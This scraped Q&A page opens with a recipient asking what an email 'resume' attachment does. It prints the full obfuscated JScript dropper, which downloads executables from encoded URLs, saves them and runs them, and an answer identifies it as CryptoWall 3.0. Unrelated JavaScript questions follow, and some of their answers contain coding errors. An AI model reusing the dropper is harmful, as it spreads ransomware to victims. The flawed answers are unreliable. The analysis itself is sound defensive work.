what is this malicious script trying to accomplish? - javascript

Sorry if this is not the right place to ask this, please LMK if this question would be suited better somewhere else!
I got a particularly interesting piece of junk mail sent to my work email. It is supposedly someone's resume, but it is actually a very obscure piece of javascript. It looks like it tries to launch a windows executable via activeX. I think the goal of the attacker is to you have you run the .js file directly as a windows script. I ran it on my windows 7 computer and Symantec Endpoint stopped it with a "Suspicious executable image download" warning. I ran it in a windows XP vm without any antivirus installed, and I got a pop up notification
2865241.exe - Appication Error The application failed to initialize properly (0xc0000135). Click on OK to terminate the application
followed by a notification from Windows Script Host
Script: C:\path\to\Resume Jaime Harding.js
Line: 9
Char: 1
Error: Write to file failed.
Code: 800A0BBC
Source: ADODB.Stream
So is it actually attempting to write a binary and run it? What might it be trying to accomplish? Why did it fail? I played the role of "gullible email recipient" and ran it, and it just bombed out. What environment might this succeed in?
A lot of the gibberish looks like it is possibly, intentionally ugly variable names used as properties of window. However, there are a lot of "charAt"s so maybe the strings are just a decoy and it is only extracting certain characters and using them. several of the "functions" have arguments being passed in the form of (/regex/g,"") so it looks like that is trying to filter away garbage from the strings, but I can't tell where the actual call to replace is that would actually do the replacing.
Below is the JS, it is highly obfuscated. I beatified it for some semblance of readability.
(function () {
var D2p = (8.0 + "'=+)D]R.MPjS"["length"] * 28);
kOY = ("\x89\x60eYE;U\x83L^SP'yp"["charCodeAt"](6) * 0 + 18.0);
qEI = "N9-0GO3m8/d*VI4&g)tG*k"[("=[TOcgnm7St5a(hUdK,?"["charCodeAt"](13) * 409139717 + 39.0)["toString"](("xA\x85Ru6-iU{*c~\x87\x86("["charCodeAt"](5) * 0 + 29.0))](/[m\-\*I0tNO\)\&\/]/g, "");
T7Y = "6Y=0oSknwWp[U&qjKCBF*L"[("<e.y\x8bZ2fX\x7f"["charCodeAt"](2) * 921305672 + 22.0)["toString"]((34.0 + "NuU\x7f/\x8a\x8683y$EY<f&{x"["charCodeAt"](8) * 0))](/[\*Kj\&\=6wW\[oBk]/g, "");
var Ecf = (88 * "\x85P<S\x82"["length"] + 0.0);
Tkv = ("T_e8\x83\x87X|fA\x80I\x89{\x85"["length"] * 2 + 3.0);
var Cq7 = "AGREkUTp8D&bJGdZ;qL0QsP"[(9.0 + "u\x800]\x89#ye\x88\x8aWajvT="["charCodeAt"](10) * 280311852)["toString"]((3.0 + "<$*,?Rn"["length"] * 4))](/[RJ\&pLQkUd8As\;]/g, "");
var ZTl = "`S75d`QHS#garJi50+94Y0"["replace"](/[Y\#\+HJ79a5\`]/g, "");
LIm = "AGt9>wrW66389bs4a0Yv72"["replace"](/[rAs8a\>Ybt67]/g, "");
gF9 = "#ni`1z0c~_w-vamT4uC7Fc%G"[(12.0 + "\x83%Q\x880\x8b*asr\x82;W"["length"] * 3877454369)["toString"]((5 * "_YKyr\x82"["length"] + 5.0))](/[\-\%4Fm\#0C\~1\_\`vn]/g, "");
var Uwg = "QwFnSfAc07q2MpO!]P*HzbZ"[(4.0 + "CHE'zl+]e4"["length"] * 4238006093)["toString"]((34.0 + "1y.\x89d/}n*6\x7f\x88w"["charCodeAt"](8) * 0))](/[z\!f27\*Qw\]npcb]/g, "");
function Kg3(fr, KPA, rn) {
var ERG = new ActiveXObject("]W_SFc)rHi7p_tz.TSv%hB_eKl5l"["replace"](/[\)KT\%vzF\_7\]5HB]/g, ""));
var mE6 = ("Ov\x81xP*sX\x80"["length"] * 11 + 4.0);
var KPA = ERG["Ex" + (73 > 45 ? "\x70" : "\x68") + "andEnvironmentSt" + "" + (77 > 7 ? "\x72" : "\x6d") + "ings"]("G%oT&EySM&PXX%"[("iIopR\x809O2\x82PtYg:'[}#"["charCodeAt"](12) * 225213779 + 43.0)["toString"]((0.0 + "OJN.R%\x8angI"["length"] * 3))](/[\&SXGyo]/g, "")) + String["f" + "romCharCod" + (81 > 5 ? "\x65" : "\x5e") + ""](92) + KPA;
var j$2 = "qv3zu6Sa7FdMeSbxt~*fklyGQu"[(43.0 + "5Hd|tb/M3Yx\x87e"["charCodeAt"](6) * 1269417725)["toString"]((0 * "Wv1jN\x88G\x81muC4nVx#w<"["charCodeAt"](11) + 36.0))](/[G\*6qvl\~kxSQFMz7]/g, "");
var Ttc = new ActiveXObject("kM+SGNXfMFfLD2g.kX[mM#L3H`qTFT/AP"["replace"](/[\/NkqF\[\#\+G\`gADmf3]/g, ""));
QBc = "efbNd<t&A&q#4%`8RFLI29CH"["replace"](/[\`9\<edI\#R\&\%CLb]/g, "");
Ttc["onre" + (78 > 3 ? "\x61" : "\x5a") + "dys" + "t" + (71 > 45 ? "\x61" : "\x5c") + "techange"] = function () {
if (Ttc["r" + "eadyStat" + (98 > 18 ? "\x65" : "\x60") + ""] === 4) {
var OF$ = new ActiveXObject("-AlDROqDWBJ.ESz!tbir#eH[a&lm"["replace"](/[H\#JWi\-E\!\[zqR\&lb]/g, ""));
var Jwu = ("08#\x89:{\x83\x81[UR]2I"["charCodeAt"](10) * 4 + 60.0);
OF$["o" + "" + (58 > 34 ? "\x70" : "\x67") + "en"]();
i61 = "eJj7XqxlFeC5B_1RsHQt!1"["replace"](/[QXje\!5sx\_Rl]/g, "");
izb = ("U}o=Q8(c<\x8bO-|.5^"["charCodeAt"](6) * 2 + 34.0);
var zyH = (10.0 + "\x80LF:,n'1-c0\x8a="["length"] * 11);
var k3C = ";n#E2LaW=0GNTs-1JT!OTce"["replace"](/[T\=\;1\-\!ca\#G2]/g, "");
OF$["" + "t" + (91 > 18 ? "\x79" : "\x72") + "pe"] = 1;
var EKM = "Ncvs&1RzLd8Qt7Z-~M(YQfrp"[("-*\x84f\x86N\x8b6Tn{qgw3yl\x7fK"["charCodeAt"](5) * 454460829 + 5.0)["toString"](("\x89/(,TD#e<kyn%+.xW"["charCodeAt"](13) * 0 + 33.0))](/[c7\(R\-s\~\&r8NQL]/g, "");
OF$["wri" + (76 > 16 ? "\x74" : "\x6a") + "" + "e"](Ttc["R" + (94 > 34 ? "\x65" : "\x5b") + "s" + "ponseB" + (85 > 2 ? "\x6f" : "\x65") + "dy"]);
PDX = (31.0 + "5IY9?r\x896B{i1*Re"["charCodeAt"](12) * 6);
OF$["" + "posi" + (77 > 29 ? "\x74" : "\x6a") + "ion"] = 0;
v$8 = (2.0 + "b&|\x8b)gY\x83"["length"] * 61);
OF$["saveT" + (79 > 38 ? "\x6f" : "\x68") + "F" + "" + (85 > 43 ? "\x69" : "\x62") + "le"](KPA, 2);
W2Q = "(DLsxL6Ll0a(OC]trZBv`b"[(")=\x88\x81>"["length"] * 10081381361 + 4.0)["toString"]((0 * "aWi\x80/4h\x60uIcJbt-^,'"["charCodeAt"](17) + 35.0))](/[\(OBx0r\`\]L]/g, "");
OF$["c" + "los" + (94 > 26 ? "\x65" : "\x5b") + ""]();
var ue0 = "MT3gL29u`i-u4k3eR8N+o"["replace"](/[4\+\`L8MR93\-]/g, "");
}
;
var xbw = "MY<m6do1bcJs;j3mCP7c"[(283571292 * "GbS4sw#qE*\x7f)\x87V"["charCodeAt"](13) + 21.0)["toString"]((3 * "57e2>-m+"["length"] + 7.0))](/[\<3MoJ67b\;C]/g, "");
};
var b$y = ("\x86mjoi\x87n.(y0#,Y"["length"] * 2 + 0.0);
Teq = "80u3mip>VfE-Mnlk9#[L*yEc"[("v({w>Y<qr#3-="["length"] * 3877454369 + 12.0)["toString"](("pm\x60oO(EeT<w"["charCodeAt"](5) * 0 + 35.0))](/[\[V0\*kEi3\#\>\-8n]/g, "");
try {
Ttc["o" + "p" + (65 > 36 ? "\x65" : "\x5e") + "n"](";GoE%T"["replace"](/[o\%\;]/g, ""), fr, false);
lw7 = "fte5jz9s_Yt=DIb]aB!6IB"[(1050143891 * "5~K<\x60c0>lC#=E("["charCodeAt"](6) + 41.0)["toString"]((0 * "p4uV?rw.'\x83m|\x86"["charCodeAt"](4) + 35.0))](/[\!\_9\=faIeY\]j]/g, "");
var jLj = "`=e;E_fhW2c/F8njVljt(G"["replace"](/[\`\/\;lj2\(h\_\=8]/g, "");
Ttc["" + "s" + (53 > 26 ? "\x65" : "\x5c") + "nd"]();
var X2P = (41 * "&S_R8gA'v"["length"] + 7.0);
if (rn > 0) {
ERG["R" + "" + (55 > 18 ? "\x75" : "\x6e") + "n"](KPA, 0, 0);
pcx = "oHzfN0Bajv]M5Tpy(Ssik=Kt"[(9.0 + "=h)$[\x84>:8#MIZ-fK}"["charCodeAt"](7) * 869084600)["toString"]((35.0 + "Ul\x88\x84^ObN+:Q>HomiJqg"["charCodeAt"](9) * 0))](/[\=5jKapiS\(zo\]N0]/g, "");
}
;
var FmH = "7_3QTXRgjK6+mj/4!2&h[ml"[("djG\x80\x8bMk\x814&geJ/\x86#\x83s"["charCodeAt"](5) * 382957200 + 62.0)["toString"]((32.0 + "\x84h4qDZ2j$\x817C"["charCodeAt"](2) * 0))](/[Q\/gK\+7X\_\&\[m\!]/g, "");
sIy = (36.0 + "O8^\x88aSZN&Ts"["charCodeAt"](9) * 4);
VBS = (17 * "$jG)r^o\x894Oc5"["length"] + 1.0);
} catch (er) {
}
;
sKc = "l2iC]fvA]f8b7aTzyIkY9[vq"["replace"](/[72I8\[vyTCYl\]]/g, "");
}
Kg3("qhAtyt<zpx5:X/>/DdMa#vciksl1x>.=Ir7uK/Ri0m2a`gIe-%s0/6Ooqn]e)!.7]jNpKg"["replace"](/[qyKADO\%\-67\)\>R\`I5\#z\<0N2\=\!klxM\]cX]/g, ""), "L2MP8&6#5s2s4Q1().ibeaxYe"[(672699379 * "\x81\x7f{=%\x85+tE~?DP"["charCodeAt"](10) + 57.0)["toString"]((6.0 + "A\x86hk8DU\x82G6390."["length"] * 2))](/[ab\&Yi\)\#s\(PQLM]/g, ""), 1);
iBR = "~UcONvQg!zT2P(RXe-k(Pp"[(3977508874 * "{2\x7f\x82A\x83S\x88\x84gW~c%P"["length"] + 8.0)["toString"]((0 * "Gk5o~$\x89;2^:plS&gUhnR"["charCodeAt"](10) + 36.0))](/[NQTP\(\-Xc\~\!]/g, "");
var TAb = (2.0 + "B%;'(W]0JaEi\x898_"["length"] * 1);
Jfj = "Qk*rH#UKlsg5O->f`4~iyz"[(2032260927 * ",2\x84\x8b\x60P_[;Qtg"["length"] + 9.0)["toString"]((1.0 + "pQdk["["length"] * 6))](/[\-\~\`sK\#Qy\>\*5r]/g, "");
dkD = "`aL1;xbr;eJkDA)R*hoM"[(62.0 + ";[DY7J:K\x85\x88x$3t<"["charCodeAt"](7) * 393169392)["toString"]((0 * ";fud=6t(%\x80\x82+y^m"["charCodeAt"](8) + 32.0))](/[L\)o\`J\*bD\;]/g, "");
Hz9 = "zNiGSF9+7WHUhpZxILHEM"["replace"](/[F\+pULEzSixW]/g, "");
Kg3("Bhxt(tZ%pfM:#/Y/%nd3a;vGxiNs8R1N.kr>uTD/ficmTaKg5e&s4J/]tEwWoJ.EjH%pcg"[(7089588933 * "z_OC("["length"] + 2.0)["toString"]((33.0 + "PRybeAL>6;U\x87"["charCodeAt"](9) * 0))](/[4DKJ5RY\(3NM\%cx\]Hn\>ET\&WfkG\#\;8ZB]/g, ""), "S1-2+40605X4[9=.pelx;e"[(68.0 + "T|YL[u;<UR\x83x?\x80D~\x8b2b"["charCodeAt"](8) * 701913330)["toString"](("\x8a)jUF4$^e\x7fy;{WL_d]Xg"["charCodeAt"](6) * 1 + 0.0))](/[lX\-S\;\=\[p0\+]/g, ""), 1);
sZV = (1 * "p\x83jcq\x88d6\x85g[Ca&"["charCodeAt"](7) + 24.0);
var q3y = "+mp&uoRvn/GXa`rJKxKzW"[(33.0 + "|P,Ehf7\x8a\x82QN0X"["charCodeAt"](6) * 1084775147)["toString"]((6.0 + "^d\x896m2?:\x83\x8b"["length"] * 3))](/[\`mxoXz\/vJ\+\&]/g, "");
var vQ8 = "TAM~6=&uHrQcF=p3sOqS~81C"[(308784692 * "\x60,'3OKskndZw\x8b5iRgGN"["charCodeAt"](13) + 43.0)["toString"](("+O6hr>Vn8_0zktN"["length"] * 1 + 14.0))](/[TQ\&3\~OqM\=H1c]/g, "")
})();//p061q4Iu1W

This malware is known as CryptoWall 3.0. See this article for more information.

Related

How can I make an if else statement in JavaScript prompt a user to hit a button to continue the statement?

I have built a little project game and there is a combat system. The problem is if you hit attack it runs the if else statement all the way through but doesn't show everything. It also gives me a Not a Number error if you lose, and I can't figure out what to do. Do I need to change the order of statements or something like that?
setFightEvent: function() {
let getArena = document.querySelector(".arena");
let getEnemy = document.querySelector(".enemy");
let enemy00 = new Enemy("Goblin", 100, 0, 20, 50, 100, 100);
let enemy01 = new Enemy("Troll", 200, 0, 40, 50, 80, 150);
let chooseRandomEnemy= Math.floor(Math.random() * Math.floor(2));
switch (chooseRandomEnemy) {
case 0:
enemy = enemy00;
getArena.innerHTML = '<div><p>You are fighting a ' + enemy.enemyType + '<button class="btn-attack" onclick="EventManager.FightEvent()">Attack!</button></p></div>';
break;
case 1:
enemy = enemy01;
getArena.innerHTML = '<div><p>You are fighting a ' + enemy.enemyType + '<button class="btn-attack" onclick="EventManager.FightEvent()">Attack!</button></p></div>';
break;
}
getEnemy.innerHTML = '<img src="img/avatar-enemy/' + enemy.enemyType.toLowerCase() + '.jpg" alt="' + enemy.enemyType + '" class="img-enemy"><div><h3 class="type-enemy">' + enemy.enemyType + '</h3><p class="health-enemy">Health: ' + enemy.health + '</p><p class="mana-enemy">Mana: ' + enemy.mana + '</P><p class="dexterity-enemy>Dexterity :' + enemy.dexterity + '</p></div>';
},
FightEvent: function() {
let getEnemy = document.querySelector(".enemy");
getEnemy.style.visibility = 'visible';
let getArena = document.querySelector(".arena");
let getPlayerHealth = document.querySelector(".health-player");
let getEnemyHealth = document.querySelector(".health-enemy");
let getPlayerGold = document.querySelector(".gold-player");
let getPlayerDexterity = player.dexterity;
let getEnemyDexterity = enemy.dexterity;
let playerAttack = function () {
let calcBaseDamage;
if (player.mana > 0) {
calcBaseDamage = player.strength * player.mana / 1000;
} else {
calcBaseDamage = player.strength * player.dexterity / 1000;
}
let offsetDamage = Math.floor(Math.random() * Math.floor(10));
let calcOutputDamager = calcBaseDamage + offsetDamage;
let numberOfHits = Math.floor(Math.random() * Math.floor(player.dexterity / 6) / 2) + 1 ;
let attackValues = [calcOutputDamager, numberOfHits];
return attackValues;
}
let enemyAttack = function () {
let calcBaseDamage;
if (enemy.mana > 0) {
calcBaseDamage = enemy.strength * enemy.mana / 1000;
} else {
calcBaseDamage = enemy.strength * enemy.dexterity / 1000;
}
let offsetDamage = Math.floor(Math.random() * Math.floor(6))
let calcOutputDamager = calcBaseDamage + offsetDamage;
let numberOfHits = Math.floor(Math.random * Math.floor(enemy.dexterity / 6) / 2) + 1 ;
let attackValues = [calcOutputDamager, numberOfHits];
return attackValues;
}
if (getPlayerDexterity >= getEnemyDexterity) {
let PlayerAttackValues = playerAttack();
let totalDamage = PlayerAttackValues[0] * PlayerAttackValues[1];
enemy.health = enemy.health - totalDamage;
getArena.innerHTML = '<div><p>You hit the ' + enemy.enemyType + ' for ' + PlayerAttackValues[0] + ' damage ' + PlayerAttackValues[1] + ' times!</p></div>';
if (enemy.health <= 0) {
player.gold = player.gold + enemy.gold;
player.xp = player.xp + enemy.xp;
getArena.innerHTML = '<div<p>After a hard fought battle, you won. You also looted the ' + enemy.enemyType + ' and it had ' + enemy.gold + ' gold!<br>Gained ' + enemy.xp + ' XP!</p></div>';
getPlayerGold.innerHTML = 'Gold: ' + player.gold;
getPlayerHealth.innerHTML = 'Health: ' + player.health;
getEnemyHealth.innerHTML = 'Health: 0';
} else {
let enemyAttackValues = enemyAttack();
let totalDamage = enemyAttackValues[0] * enemyAttackValues[1];
player.health = player.health - totalDamage;
getArena.innerHTML = '<div><p>The ' + enemy.enemyType + ' hit you for ' + enemyAttackValues[0] + ' damage ' + enemyAttackValues[1] + ' times!</p></div>';
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
getPlayerHealth.innerHTML = 'Health: ' + player.health;
if (player.health <= 0) {
player.xp = player.xp + (enemy.xp / 2);
getArena.innerHTML ='<div><p>After a gruelling battle, you lost. Maybe you should rest before fighting again.<br>Gained ' + enemy.xp + '!'
getPlayerHealth.innerHTML = 'Health: 0';
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
} else {
getPlayerHealth.innerHTML = 'Health: ' + player.health;
}
}
} else if (getEnemyDexterity >= getPlayerDexterity) {
let enemyAttackValues = enemyAttack();
let totalDamage = enemyAttackValues[0] * enemyAttackValues[1];
player.health = player.health - totalDamage;
getArena.innerHTML = '<div><p>The ' + enemy.enemyType + 'hit you for ' + enemyAttackValues[0] + ' damage ' + enemyAttackValues[1] + ' times!</p></div>';
if (player.health <= 0) {
player.xp = player.xp + (enemy.xp / 2);
getArena.innerHTML ='<div><p>After a gruelling battle, you lost. Maybe you should rest before fighting again.<br>Gained ' + enemy.xp + '!'
getPlayerHealth.innerHTML = 'Health: 0';
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
} else {
let PlayerAttackValues = playerAttack();
let totalDamage = PlayerAttackValues[0] * PlayerAttackValues[1];
enemy.health = enemy.health - totalDamage;
getArena.innerHTML = '<div><p>You hit the ' + enemy.enemyType + ' for ' + PlayerAttackValues[0] + ' damage ' + PlayerAttackValues[1] + ' times!</p></div>';
getPlayerHealth.innerHTML = 'Health: ' + player.health;
if (enemy.health <= 0) {
player.gold = player.gold + enemy.gold;
player.xp = player.xp + enemy.xp;
getArena.innerHTML = '<div<p>After a hard fought battle, you won. You also looted the ' + enemy.enemyType + ' and it had ' + enemy.gold + ' gold!<br>Gained ' + enemy.xp + ' XP!</p></div>';
getPlayerGold.innerHTML = 'Gold: ' + player.gold;
getPlayerHealth.innerHTML = 'Health: ' + player.health;
getEnemyHealth.innerHTML = 'Health: 0';
alert("Select another action before fighting again!");
} else {
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
}
}
}
},
the code seems to run fine unless you are going to lose, then it just breaks. I want to be able to say the first if else, then ask the user to hit a button before it continues. Like, if you don't kill them in one hit I would like it to show the updated health of the player and monster THEN run the if else statement again. I think the problem is if you dont OTK them it just dies. I hope that makes sense!
ps. https://squarecylinder.github.io/Stress-of-The-Kingdom/ here is a link to the game, but I used absolute positioning in CSS to line everything up, so I don't think it would look right in every display! I'm trying to figure that out as well!
The comments have already addressed the fact that you're stating Math.random instead of calling Math.random() at one point in your code, so I'll leave that alone. Other than that, this line doesn't have a semicolon at the end:
getArena.innerHTML = '<div><p>After a gruelling battle, you lost. Maybe you should rest before fighting again.<br>Gained ' + enemy.xp + '!'
It occurs twice in the code. I haven't set up a running sample of the code, so I don't know if this is your only remaining issue. If it still doesn't work after making this update, let me know and I'll remove this answer.
Side note:
Your random statements are a little bit needlessly complex. For example, with this line:
Math.floor(Math.random() * Math.floor(10))
there's no need to floor 10. 10 is already a flat integer. In fact, because you're using a lot of randomness, I'd use randojs.com to make all your randomness simpler and more readable. The line above can be written as just rando(0, 9). If you choose to use randojs, all you have to do is add the following line to the head tag of your html document:
<script src="https://randojs.com/1.0.0.js"></script>

Modifying an X and Y variable, based on position in For Loop

EDIT - I don't think I explained it very well the first time.
I have a lot of data - it's in an Array, with each item in the array being an object. In the system I am working in (a control system for A/V devices, which uses JavaScript as the programming language), I am generating buttons based on the length of the array. I want to be able to position a button, and essentially know the X and Y coordinates for each button in the array - with X and Y being Row/Column. (which I then translate to a X/Y pixel position on my UI.
My initial code, which is below, is within a for loop, and I manually calculated the button position. But this is tedious, as I use this same function to show off different groups/sizes of buttons.
Anywhere there is mirage.log = console.log.
The code below is part of a For Loop
button.element.style.position = 'absolute'; //Do to all Buttons.
if (i == 0) //First Item
{
button.element.style.left = btn_Info.startLeft + 'px'; button.element.style.top = btn_Info.startTop + 'px';
}
else if (i <= btn_Info.numRow-1) //First Column.
{
mirage.log('Setting Position of First Column');
button.element.style.left = btn_Info.startLeft + 'px'; button.element.style.top = (btn_Info.height + btn_Info.vOffset) * i + btn_Info.startTop + 'px';
}
else if (i > btn_Info.numRow - 1 && i <= btn_Info.numRow * 2 - 1)
{
mirage.log('Setting Second column ' + i);
button.element.style.left = btn_Info.startLeft + btn_Info.width + btn_Info.hOffset + 'px'; button.element.style.top = (btn_Info.height + btn_Info.vOffset) * (i-btn_Info.numRow) + btn_Info.startTop + 'px';
}
else
{
mirage.log('Setting Third column ' + i);
button.element.style.left = btn_Info.startLeft + ((btn_Info.width + btn_Info.hOffset)*2) + 'px'; button.element.style.top = (btn_Info.height + btn_Info.vOffset) * (i - (btn_Info.numRow*2)) + btn_Info.startTop + 'px';
}
Thanks in advance for the help - I have grabbed so many answers from this forum over the last year, you guys are awesome!
EDIT -
I was able to get some adjustment if I generate rows first then columns:
I was able to get a little close with the help of a friend, and be able to adjust for a 2 column layout by doing the following:
encoder = {
'buttonVals':{'width':125,'height':50,'numCols':2,'numRows':null;'vOffset':10,'hOffset':10}
var posLeft;
var posTop;
posLeft = (i % encoder.buttonVals.numCols) * (encoder.buttonVals.width + encoder.buttonVals.hOffset) + encoder.buttonVals.startLeft;
posTop = Math.floor(i / encoder.buttonVals.numCols) * (encoder.buttonVals.height + encoder.buttonVals.vOffset) + encoder.buttonVals.startTop;
After working on this for a bit - here is the code that I got to work. This prints out both the row position, and the column position.
testFunction = function(incRow, incCol){
var myFunc = {
'testLength':0,
'numRows':incRow,
'numCols':incCol,
'array':[],
};
myFunc.testLength = incRow * incCol;
for(var c=0, posCol = 0, posRow = 0; c < myFunc.testLength; c++)
{
var whichRow;
posRow = Math.floor(c/myFunc.numRows);
whichRow = Math.floor(c/myFunc.numRows) + c;
if (whichRow > myFunc.numRows)
{
whichRow = whichRow - (myFunc.numRows * posRow) - posRow;
if (whichRow === 0)
{
posCol = posCol + 1;
}
}
console.log(c + ' : ' + whichRow + ' : ' + posCol);
}
};
testFunction(6,4);

Changing NaN and undefined [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question appears to be off-topic because it lacks sufficient information to diagnose the problem. Describe your problem in more detail or include a minimal example in the question itself.
Closed 8 years ago.
Improve this question
On my upload page after an upload is finished instead of displaying the numbers expected it displays undefined and NaN, I was wondering if there was any way I could change undefined to show the file size and NaN to display 0.
Here is an screenshot to show what I am talking about.
http://i.stack.imgur.com/hrgKd.png
Thank you.
Joe
In your code you have this function:
function updateProgessText(progress, uploadedBytes, totalBytes) {
nowTime = (new Date()).getTime();
loadTime = (nowTime - startTime);
if (loadTime == 0) {
loadTime = 1;
}
loadTimeInSec = loadTime / 1000;
bytesPerSec = uploadedBytes / loadTimeInSec;
textContent = '';
textContent += '' + progress + '% complete';
textContent += ' ';
textContent += '(' + bytesToSize(uploadedBytes, 2) + ' of ' + bytesToSize(totalBytes, 2) + ')';
$("#fileupload-progresstextLeft").html(textContent);
rightTextContent = '';
rightTextContent += '' + humanReadableTime((totalBytes / bytesPerSec) - (uploadedBytes / bytesPerSec)) + ' remaining';
rightTextContent += ' at ' + bytesToSize(bytesPerSec, 2) + 'P/s';
$("#fileupload-progresstextRight").html(rightTextContent);
}
You'll want to check if the progress is 100, and if so, show the completed messages. I'm not sure why uploadedBytes and totalBytes are returning undefined, that has to do with the JQuery File Upload Plugin I'm guessing. What you can do is something like this:
function updateProgessText(progress, uploadedBytes, totalBytes) {
if (progress < 100) {
nowTime = (new Date()).getTime();
loadTime = (nowTime - startTime);
if (loadTime == 0) {
loadTime = 1;
}
loadTimeInSec = loadTime / 1000;
bytesPerSec = uploadedBytes / loadTimeInSec;
textContent = '';
textContent += '' + progress + '% complete';
textContent += ' ';
textContent += '(' + bytesToSize(uploadedBytes, 2) + ' of ' + bytesToSize(totalBytes, 2) + ')';
$("#fileupload-progresstextLeft").html(textContent);
rightTextContent = '';
rightTextContent += '' + humanReadableTime((totalBytes / bytesPerSec) - (uploadedBytes / bytesPerSec)) + ' remaining';
rightTextContent += ' at ' + bytesToSize(bytesPerSec, 2) + 'P/s';
$("#fileupload-progresstextRight").html(rightTextContent);
}
else {
$("#fileupload-progresstextLeft").html('100% complete');
$("#fileupload-progresstextRight").html('0 seconds remaining');
}
}
Check this statement:
rightTextContent += '' + humanReadableTime((totalBytes / bytesPerSec) - (uploadedBytes / bytesPerSec)) + ' remaining';
You have missed to specify humanReadableTime for (uploadedBytes / bytesPerSec). So it should be:
rightTextContent += '' + humanReadableTime((totalBytes / bytesPerSec) - humanReadableTime(uploadedBytes / bytesPerSec)) + ' remaining';

What's wrong with my Ip to hex equation in javascript? Output doesn't match other sites

Code, give item is a valid ip (i.e. 254.253.242.222 )
`var h0 = Math.pow(256,0);`
`var h1 = Math.pow(256,1);`
`var h2 = Math.pow(256,2);`
var h3 = Math.pow(256,3);
var splitup = item.split('.'); var iHex = (splitup[3] * h0) + (splitup[2] * h1) + (splitup[1]* h2) + (splitup[0] * h3) ;
var hhexip = parseInt(iHex,16);
$('#hexip').val($('#hexip').val() + "0x" + hhexip +"\n" );
this site http://www.silisoftware.com/tools/ipconverter.php?convert_from=254.253.242.222
edit
fixed code to use math.pow... still getting wrong out put though.
says it should be
0xFEFDF2DE
but i get 0x285481457222
help?
var item = "254.253.242.222";
var splitup = item.split('.');
var iHex = parseInt(splitup[0]).toString(16) + parseInt(splitup[1]).toString(16) + parseInt(splitup[2]).toString(16) + parseInt(splitup[3]).toString(16);
var hhexip = parseInt(iHex,16);
$('#hexip').val($('#hexip').val() + "0x" + hhexip +"\n" );

building an ordered list from small to big

I have the following hardcoded JSON:
var myData = [
{"Identifier":1,"Naam":"Van Der Valk","Adres":"Europaweg 218","Postcode":"1238AC","Plaats":"Zoetermeer","Longitude":"4.48822","Latitude":"52.06258", "Status":"Laadpunten Beschikbaar", "lunch":"true", "diner":"true", "meet":"true", "wifi":"true"},
{"Identifier":2,"Naam":"NOT Given","Adres":"NOT Given 1","Postcode":"0000LL","Plaats":"Rotterdam","Longitude":"0.00000","Latitude":"0.00000", "lunch":"false"},
{"Identifier":3,"Naam":"NOT Given","Adres":"NOT Given 6","Postcode":"0000LL","Plaats":"Rotterdam","Longitude":"0.00000","Latitude":"0.00000", "lunch":"false"},
{"Identifier":4,"Naam":"NOT Given","Adres":"NOT Given 1","Postcode":"0000LL","Plaats":"Den Haag","Longitude":"0.00000","Latitude":"0.00000", "lunch":"false"},
{"Identifier":5,"Naam":"plek b met lunch en diner","Adres":"NOT Given 218","Postcode":"0000LL","Plaats":"Zoetermeer","Longitude":"0.00000","Latitude":"0.00000", "lunch":"true", "diner":"true", "wifi":"true"}
];
This json i use in my ios phonegap app.. Each line of code in the Json is a point in the netherlands.. I am trying to build a function which calculates the distance between where the phone is and the lat and long from the json.. eventually these json code needs to come in a ordered list where also the distance are from small to big..
for the distance measurement i Used this:
function haversine() {
$.each(myData, function(index, element) {
var R = 6371; // earth's mean radius in km
var dLat = rad(element.Latitude - lat1);
var dLong = rad(element.Longitude - long1);
var a = Math.sin(dLat/2) * Math.sin(dLat/2) +
Math.cos(rad(lat1)) * Math.cos(rad(element.Latitude)) * Math.sin(dLong/2) * Math.sin(dLong/2);
var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));
var d = R * c;
//var element = document.getElementById('afstand');
//element.innerHTML = 'afstand: ' + d.toFixed(3);
$('.greenfluxlist').append('<li id="' + element.Identifier + '">' + element.Naam + ' ' + element.Plaats + '<p> <br/>' + element.Adres + ',<br/> ' + element.Postcode + ' ' + element.Plaats + '<br/> Status: ' + element.Status + '</p> <span class="ui-li-count">' + d.toFixed(3) + '</span></li>');
});
$('.greenfluxlist').trigger('create');
$('.greenfluxlist').listview('refresh');
//return d.toFixed(3);
}
What my problem now is, how can i build the ordered list, is it possible to get everything into an array and then loop through it or something else, i think there has to be a simple solution but i don't know.
To sort an array, use the sort method.
You should calculate the distance first, then sort the array, and then generate the list. Something like this:
function calculateDistance(element)
{
var R = 6371; // earth's mean radius in km
var dLat = rad(element.Latitude - lat1);
var dLong = rad(element.Longitude - long1);
var a = Math.sin(dLat/2) * Math.sin(dLat/2) +
Math.cos(rad(lat1)) * Math.cos(rad(element.Latitude)) * Math.sin(dLong/2) * Math.sin(dLong/2);
var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1-a));
return R * c;
}
function generateList(data)
{
for(var i=0; i<data.lenght; i++)
{
var element = data[i];
//var element = document.getElementById('afstand');
//element.innerHTML = 'afstand: ' + element.Distance.toFixed(3);
$('.greenfluxlist').append('<li id="' + element.Identifier + '">' + element.Naam + ' ' + element.Plaats + '<p> <br/>' + element.Adres + ',<br/> ' + element.Postcode + ' ' + element.Plaats + '<br/> Status: ' + element.Status + '</p> <span class="ui-li-count">' + element.Distance.toFixed(3) + '</span></li>');
}
}
for(var i=0; i<myData.length; i++)
{
myData[i].Distance = calculateDistance(myData[i]);
}
myData.sort(function(a,b) {
return a.Distance > b.Distance;
});
generateList(myData);

Categories

Resources